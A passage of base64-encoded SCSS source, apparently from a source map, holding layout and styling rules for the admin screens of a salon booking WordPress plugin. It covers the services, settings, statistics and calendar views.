YWlsYWJpbGl0aWVzIC5pdGVtcyAuaXRlbSAuYnRuLmJ0bi1ibG9jay5idG4tZGFuZ2VyIHtcbiAgICAgIG1hcmdpbi10b3A6IDJlbTtcbiAgICB9XG4gICAgI3Nsbi1hdmFpbGFiaWxpdGllcyAuY29sLW1kLTIucHVsbC1yaWdodCB7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIG1hcmdpbi10b3A6IDFlbTtcbiAgICB9XG4gICAgLnJvdzpudGgtY2hpbGQoMSkgLmNvbC1tZC02Om50aC1jaGlsZCgxKSB7XG4gICAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiAwO1xuICAgICAgLmZvcm0tZ3JvdXAsXG4gICAgICBwIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICAvLyNzbG4tdGFiLXBheW1lbnRzIC5yb3cge3BhZGRpbmctYm90dG9tOiAxLjRlbTt9XG4gIC8vI3Nsbi10YWItcGF5bWVudHMgLnJvdyA+IGRpdiB7cGFkZGluZy1ib3R0b206IDEuNGVtO31cbiAgLy8jc2xuLXRhYi1wYXltZW50cyAucm93IC5mb3JtLWdyb3VwIHttYXJnaW4tYm90dG9tOiAwO31cbn1cblxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAvLy8gU0VSVklDRVNcbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuXG4jc2xuX3NlcnZpY2UtZGV0YWlscyxcbiNzbG5fYXR0ZW5kYW50LWRldGFpbHMge1xuICBwYWRkaW5nLWJvdHRvbTogMmVtO1xuXG4gIGVtIHtcbiAgICBjb2xvcjogI2FhYTtcbiAgfVxuICBzIGgzOm50aC1jaGlsZCgzKSB7XG4gICAgcGFkZGluZy1sZWZ0OiAwO1xuICB9XG5cbiAgLnNsbi1zZXJ2aWNlLXByaWNlLXRpbWUge1xuICAgIGlucHV0W3R5cGU9J3RleHQnXSB7XG4gICAgICBtaW4taGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDgwcHgpO1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICAgbWluLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAuY29sLXhzLTY6bnRoLWNoaWxkKDQpIHtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZS1wb3J0KSB7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gICNfc2xuX3NlcnZpY2Vfc2Vjb25kYXJ5IHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgfVxuXG4gIGlucHV0W3R5cGU9J3JhZGlvJ10sXG4gIGlucHV0W3R5cGU9J2NoZWNrYm94J10ge1xuICAgIG1hcmdpbjogMCAwLjVlbTtcbiAgfVxuXG4gICNfc2xuX3NlcnZpY2Vfc2Vjb25kYXJ5IHtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgIG1hcmdpbjogMCAwLjVlbSAtMC42ZW0gMDtcbiAgICB9XG4gIH1cblxuICAuc2VydmljZXMtbm90YXZhaWxhYmxlLFxuICAuYXR0ZW5kYW50cy1ub3RhdmFpbGFibGUge1xuICAgIG1hcmdpbjogMCAwIDFlbSAtMC41ZW07XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICBtYXJnaW46IDAgMCAyZW0gLTAuNWVtO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICBtYXJnaW46IDAgMCAyZW0gLTAuNWVtO1xuICAgIH1cbiAgICBsYWJlbCB7XG4gICAgICBtYXJnaW4tcmlnaHQ6IDJlbTtcbiAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogOTUxcHgpIGFuZCAobWF4LXdpZHRoOiAxMjc5cHgpIHtcbiAgICAgICAgbWFyZ2luLXJpZ2h0OiAwLjVlbTtcbiAgICAgIH1cbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgd2lkdGg6IDUwJTtcbiAgICAgICAgZmxvYXQ6IGxlZnQ7XG4gICAgICAgIG1hcmdpbjogMCAwIDJlbSAwZW07XG4gICAgICAgICY6bGFzdC1jaGlsZCB7XG4gICAgICAgICAgZmxvYXQ6IG5vbmU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICAuc2VydmljZXMtbm90YXZhaWxhYmxlLWgsXG4gIC5hdHRlbmRhbnRzLW5vdGF2YWlsYWJsZS1oIHtcbiAgICBsYWJlbCB7XG4gICAgICBtYXJnaW4tcmlnaHQ6IDJlbTtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMWVtO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4ucG9zdC10eXBlLXNsbl9zZXJ2aWNlIHtcbiAgdGV4dGFyZWEjZXhjZXJwdCB7XG4gICAgbWluLWhlaWdodDogMTUwcHg7XG4gIH1cbn1cblxuLy8gLy8vIFNFUlZJQ0VTIEVORFxuXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBTRVRUSU5HU1xuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG5cbi8vIEdFTkVSTCBSVUxFU1xuYm9keS5zYWxvbmVfcGFnZV9zYWxvbi1zZXR0aW5ncyxcbmJvZHkudG9wbGV2ZWxfcGFnZV9zYWxvbixcbmJvZHkuc2Fsb25lX3BhZ2Vfc2Fsb24tcmVwb3J0cyxcbmJvZHkuc2Fsb25lX3BhZ2Vfc2Fsb24tdG9vbHMge1xuICAjd3B3cmFwIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWJnLS1saWdodGVyO1xuICB9XG59XG4vLyBHRU5FUkwgUlVMRVMgLy8gRU5EXG4jc2xuLXNhbG9uLS1hZG1pbixcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXIge1xuICAmLnNsbi1zYWxvbi0tc2V0dGluZ3Mge1xuICAgIC8vZm9udC1zaXplOiAkYnJvd3Nlci1jb250ZXh0ICsgcHg7XG4gICAgZm9udC1zaXplOiB0eXBvLWFkbWluLiRmb250LXNpemUtYmFzZTtcbiAgICAuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIsXG4gICAgaDIuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIsXG4gICAgaDMuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIge1xuICAgICAgcGFkZGluZy10b3A6IDA7XG4gICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLWJvb2tpbmctcnVsZSB7XG4gICAgbWFyZ2luOiAwO1xuICAgIHBhZGRpbmctdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgIHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgIEBleHRlbmQgJXNsbi1zbWFsbC1ib3JkZXI7XG4gICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgfVxuICAgICsgLnNsbi1ib29raW5nLXJ1bGUge1xuICAgICAgYm9yZGVyLXRvcDogbm9uZTtcbiAgICB9XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA2MDBweCkge1xuICAgICAgYm9yZGVyLXdpZHRoOiAycHg7XG4gICAgfVxuICB9XG4gIC8vIFNFTEYgT1ZFUlJJREVTXG4gIC5zZXR0aW5ncy1lcnJvciB7XG4gICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3Byb2JsZW07XG4gIH1cbiAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyLFxuICBoMi5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlcixcbiAgaDMuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIge1xuICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgfVxuICAuc2xuLXRhYiB7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGJvcmRlci10b3Atd2lkdGg6IDA7XG4gICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG4gICAgcGFkZGluZzogMCAwIHNldHRpbmdzLW1peGlucy5yZW0oODBweCkgMDtcbiAgICAuZm9ybS1ncm91cCBsYWJlbCBpbnB1dCB7XG4gICAgICBkaXNwbGF5OiBhdXRvO1xuICAgICAgZGlzcGxheTogaW5pdGlhbDtcbiAgICAgIG1hcmdpbi10b3A6IGF1dG87XG4gICAgICBtYXJnaW4tdG9wOiBpbml0aWFsO1xuICAgIH1cbiAgfVxuICAvLyBNRVNTQUdFU1xuICAuc2xuLW1lc3NhZ2Uge1xuICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgIGJvcmRlci1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX3dhcm5pbmc7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgfVxuICAvLyBNRVNTQUdFUyAvLyBFTkRcbiAgLy8gU0VMRiBPVkVSUklERVMgLy8gRU5EOiA7XG4gIC5zbG4tYWRtaW4tc2lkZWJhciB7XG4gICAgcG9zaXRpb246IGZpeGVkO1xuICAgIGJvdHRvbTogMDtcbiAgICBsZWZ0OiAwO1xuICAgIHJpZ2h0OiAwO1xuICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMWZyIDFmcjtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGUsIDEpO1xuICAgIGJveC1zaGFkb3c6IDAgMXB4IDVweCAwIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4sIDAuNSk7XG4gICAgQGV4dGVuZCAlemktdG9wO1xuICAgICYuc2xuLWFkbWluLXNpZGViYXItLWZyZWUge1xuICAgICAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvIGF1dG87XG4gICAgICAuc2xuLWFkbWluLWJhbm5lciB7XG4gICAgICAgIGdyaWQtY29sdW1uOiAxIC8gc3BhbiAzO1xuICAgICAgICBncmlkLXJvdzogMjtcbiAgICAgICAgbWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oLTE1cHgpXG4gICAgICAgICAgc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTVweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgtMTVweCk7XG4gICAgICB9XG4gICAgICAuc2xuLXVwZGF0ZS1zZXR0aW5nc19fd3JhcHBlciB7XG4gICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgIH1cbiAgICAgIC5zbG4taGVscC1idXR0b25fX2Jsb2NrIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDM7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgfVxuICAgIH1cbiAgICAvLyAuc2xuLXVwZGF0ZS1zZXR0aW5ncyB7XG4gICAgLy8gfVxuICAgIC5zbG4taGVscC1idXR0b25fX2Jsb2NrIHtcbiAgICAgIGdyaWQtY29sdW1uOiAzO1xuICAgICAganVzdGlmeS1zZWxmOiBlbmQ7XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIGJvdHRvbTogMDtcbiAgICAgIHJpZ2h0OiAwO1xuICAgICAgLy8gLnNsbi11cGRhdGUtc2V0dGluZ3Mge1xuICAgICAgLy8gfVxuICAgICAgJi5zbG4tYWRtaW4tc2lkZWJhci0tZnJlZSB7XG4gICAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgICAgIH1cbiAgICB9XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA4MDBweCkge1xuICAgICAgLy9AaW5jbHVkZSBicChkZXNrdG9wKSB7XG4gICAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpIDIwcHggc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KSAyMHB4O1xuICAgICAgbGVmdDogMTYwcHg7XG4gICAgICAuc2xuLXVwZGF0ZS1zZXR0aW5ncyxcbiAgICAgIC5zbG4taGVscC1idXR0b25fX2Jsb2NrIHtcbiAgICAgICAgbWluLXdpZHRoOiAxODBweDtcbiAgICAgIH1cbiAgICAgICYuYWZmaXgge1xuICAgICAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgICB9XG4gICAgICAmLnNsbi1hZG1pbi1zaWRlYmFyLS1mcmVlIHtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvO1xuICAgICAgICAuc2xuLWFkbWluLWJhbm5lciB7XG4gICAgICAgICAgbWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpIC0yMHB4IHNldHRpbmdzLW1peGlucy5yZW0oLTE1cHgpIC0yMHB4O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tdG9vbGJveC10cmlnZ2VyLW1vYiB7XG4gICAgICBmbG9hdDogcmlnaHQ7XG4gICAgfVxuICB9XG4gIC8vIENVU1RPTUVSIFNUQVRJU1RJQ1MgU1RBUlRcbiAgLnN0YXRpc3RpY3NfYmxvY2sge1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMuJHNsbi1jb2xvci0tbWFpbi0tZW1waGFzaXM7XG4gICAgY29sb3I6IGNvbG9ycy4kc2xuLWNvbG9yLS13aGl0ZTtcbiAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICAgbWFyZ2luOiBhZG1pbl9jb25maWcuJGdyaWQtZ3V0dGVyLXdpZHRoICogLTE7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgICAuc3RhdGlzdGljc19ibG9ja19kZXNjIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHdoaXRlO1xuICAgICAgbWFyZ2luOiBhZG1pbl9jb25maWcuJGdyaWQtZ3V0dGVyLXdpZHRoXG4gICAgICAgIGNhbGMoYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aC8zKSAqIC0yIDBcbiAgICAgICAgY2FsYyhhZG1pbl9jb25maWcuJGdyaWQtZ3V0dGVyLXdpZHRoLzMpICogLTI7XG4gICAgICBwYWRkaW5nLXRvcDogYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aDtcbiAgICAgIHBhZGRpbmctYm90dG9tOiBjYWxjKGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGgvMyk7XG4gICAgfVxuICAgIGRpdjpudGgtY2hpbGQoMSkgc3BhbiB7XG4gICAgICBtYXJnaW4tdG9wOiAwO1xuICAgIH1cbiAgICBAZXh0ZW5kICVmb250LWJpZztcbiAgICAuc3RhdGlzdGljc19yb3c6bnRoLWNoaWxkKDEpIHtcbiAgICAgIGJvcmRlci1ib3R0b206IDAuMXJlbSBzb2xpZCB3aGl0ZTtcbiAgICB9XG4gICAgLnN0YXRpc3RpY3Nfcm93Omxhc3QtY2hpbGQge1xuICAgICAgcGFkZGluZy1ib3R0b206IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGg7XG4gICAgfVxuICAgIC5zdGF0aXN0aWNzX3JvdyB7XG4gICAgICBwYWRkaW5nOiAwcHg7XG4gICAgICBzcGFuOm5vdCguc3RhdGlzdGljc19ibG9ja19kZXNjKSB7XG4gICAgICAgIGZvbnQtc2l6ZTogbGFyZ2VyO1xuICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgIH1cbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgLnN0YXRpc3RpY3Nfcm93IHtcbiAgICAgICAgcGFkZGluZzogMTBweCAwcHg7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC8vIFRFTVBPUkFSWVxuICAuc2xuLXRhYmxlIHtcbiAgICAuZGlzcGxheWluZy1udW0ge1xuICAgICAgQGV4dGVuZCAlZm9udC1tZWRpdW07XG4gICAgfVxuICB9XG5cbiAgLy8gQ1VTVE9NRVIgU1RBVElTVElDUyBFTkRcblxuICAvLyBSRVBPUlRTIFNUQVRJU1RJQ1MgU1RBUlRcbiAgLnRleHQtY2VudGVyIHtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIH1cbiAgLnJlcG9ydC1zdGF0aXN0aWNzIHtcbiAgICBwYWRkaW5nOiAwIDMwcHggMjBweCAzMHB4O1xuICAgIHdpZHRoOiA3MjBweDtcbiAgfVxuICAucmVwb3J0LXN0YXRpc3RpY3MgLnJvdyB7XG4gICAgcGFkZGluZzogMTBweCAwcHg7XG4gIH1cbiAgLnJlcG9ydC1zdGF0aXN0aWNzIC5yb3c6bm90KDpsYXN0LWNoaWxkKSB7XG4gICAgYm9yZGVyLWJvdHRvbTogMC4xcmVtIHNvbGlkIGJsYWNrO1xuICB9XG4gIC5yZXBvcnQtc3RhdGlzdGljcyAucm93Om50aC1jaGlsZCgzKSB7XG4gICAgZm9udC1zaXplOiBsYXJnZXI7XG4gIH1cbiAgLnJlcG9ydC1zdGF0aXN0aWNzIC5yb3c6bnRoLWNoaWxkKDQpIHtcbiAgICBmb250LXdlaWdodDogYm9sZDtcbiAgfVxuICAvLyBSRVBPUlRTIFNUQVRJU1RJQ1MgRU5EXG59XG5AaW5jbHVkZSBtZXRhLmxvYWQtY3NzKCdzbG4tc2VsZWN0MicpO1xuXG4vLyBDQUxFTkRBUlxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG4gIHBhZGRpbmc6IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGg7XG59XG4uc2Fsb25fcGFnZV9zYWxvbi1jYWxlbmRhciAuc2xuLWNhbGVuZGFyLS13cmFwcGVyLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG4gIG1heC13aWR0aDogOTUlO1xuICBmb250LXNpemU6IDEycHg7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhcbiAgICBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LFxuICAgIDAuMjVcbiAgKTtcbiAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgICBwYWRkaW5nLWxlZnQ6IDE1cHg7XG4gICAgcGFkZGluZy1yaWdodDogMTVweDtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgcGFkZGluZzogMDtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICB9XG4gIH1cbiAgLmJ0bi1ncm91cDpub3QoLnNsbi1jYWxlbmRhci12aWV3LW5hdikge1xuICAgIC8vbWFyZ2luOiAzZW0gMCAgMmVtIDA7XG4gICAgLnNsbi1idG4ge1xuICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgYnV0dG9uIHtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpICFpbXBvcnRhbnQ7XG4gICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgdG9wOiAtMXB4O1xuICAgICAgICByaWdodDogLTFweDtcbiAgICAgICAgYm90dG9tOiAtMXB4O1xuICAgICAgICBsZWZ0OiAtMXB4O1xuICAgICAgfVxuICAgIH1cbiAgICAuc2xuLWJvb2tpbmctYWRkIHtcbiAgICAgIGZsb2F0OiByaWdodDtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICAuc2xuLWJ0bixcbiAgICAgIC5zbG4tYnRuIGJ1dHRvbiB7XG4gICAgICAgIG1pbi13aWR0aDogODBweDtcbiAgICAgIH1cbiAgICAgIC5zbG4tYm9va2luZy1hZGQge1xuICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLWJ0bi0tbWFpbi0tdG9uYWwsXG4gIC5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1tYWluLS10b25hbCB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuMik7XG4gICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiBzbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMSk7XG4gICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICAgIGJvcmRlci13aWR0aDogMXB4IDJweCAycHggMXB4O1xuICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgfVxuICAgICY6aG92ZXIsXG4gICAgJjpmb2N1cyB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4yKTtcbiAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgIC5idG4sXG4gICAgICBpbnB1dCxcbiAgICAgIGJ1dHRvbiB7XG4gICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgICAgICY6aG92ZXIsXG4gICAgICAgICY6Zm9jdXMge1xuICAgICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tYnRuLS1zbWFsbC5zbG4tYnRuLS1pY29uIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgfVxuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tc2hvcHMtc2VsZWN0aW9uLXdyYXBwZXIge1xuICAgIG1hcmdpbi10b3A6IDJlbTtcbiAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICBtYXJnaW4tdG9wOiAxZW07XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICBtYXJnaW4tdG9wOiAwO1xuICAgICAgLnNsbi1idG4tLWxhcmdlIHtcbiAgICAgICAgaGVpZ2h0OiAzLjRyZW07XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAzLjNyZW07XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tc2hvcHMtc2VsZWN0aW9uLXRyaWdnZXIge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCkgIWltcG9ydGFudDtcbiAgICAgIG1hcmdpbi10b3A6IDIwcHg7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAmLmNvbGxhcHNlZCB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICB9XG4gICAgICAmOm5vdCguY29sbGFwc2VkKSB7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDRweCkgMCAwO1xuICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tc2hvcHMtc2VsZWN0aW9uLWN1cnJlbnR0aXRsZSB7XG4gICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgICAgZm9udC1zaXplOiAxLjc1ZW07XG4gICAgICBtYXJnaW4tYm90dG9tOiAxLjVlbTtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgICAgZmxleC1zaHJpbms6IDA7XG4gICAgICB9XG4gICAgICBzbWFsbCB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVlbTtcbiAgICAgICAgZm9udC1zaXplOiAwLjdlbTtcbiAgICAgICAgb3BhY2l0eTogMC41O1xuICAgICAgfVxuICAgIH1cbiAgICAjc2hvcHNMaXN0IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogMTAwJTtcbiAgICAgIGxlZnQ6IDA7XG4gICAgICB6LWluZGV4OiAyMDAwO1xuICAgICAgbWFyZ2luOiAwO1xuICAgIH1cbiAgICAuc2xuLXNob3BzLXNlbGVjdGlvbi1saXN0IHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgICAgZ2FwOiAwLjc1cmVtO1xuICAgICAgd2lkdGg6IGZpdC1jb250ZW50O1xuICAgICAgcGFkZGluZzogMXJlbTtcbiAgICAgIG1heC13aWR0aDogNTB2dztcbiAgICAgIG1heC1oZWlnaHQ6IDQwdmg7XG4gICAgICBvdmVyZmxvdy15OiBhdXRvO1xuICAgICAgYmFja2dyb3VuZDogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIHNjcm9sbGJhci1jb2xvcjogI2RkZDtcbiAgICAgIHNjcm9sbGJhci13aWR0aDogdGhpbjtcbiAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMyMTcxQjE7XG4gICAgICAmOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7XG4gICAgICAgIC8vLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDAgNnB4IHJnYmEoM